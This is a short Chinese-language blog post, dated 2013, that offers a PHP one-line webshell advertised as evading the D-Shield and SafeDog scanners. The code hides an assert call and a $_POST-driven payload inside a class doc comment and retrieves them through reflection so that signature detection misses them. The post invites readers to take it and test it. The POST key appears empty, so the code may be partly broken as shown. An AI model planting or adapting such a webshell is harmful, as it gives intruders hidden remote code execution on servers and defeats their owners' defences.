|
2013年09月22日 周日
最新能过D盾过安全狗的一句话木马
不许能过,只要秒杀
PHP的一句话木马
<?php
/**
* $a=$_POST[];
* assert
*/
$a='';
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str=$rc->getDocComment();
$pos=strpos($str,'$a');
$eval=substr($str,$pos,15);
$pos=strpos($str,'assert');
$fun=substr($str,$pos,6);
echo $eval;
$fun($eval);
echo $a;
$fun($a);
?>
需要的朋友可以拿去测试 |
|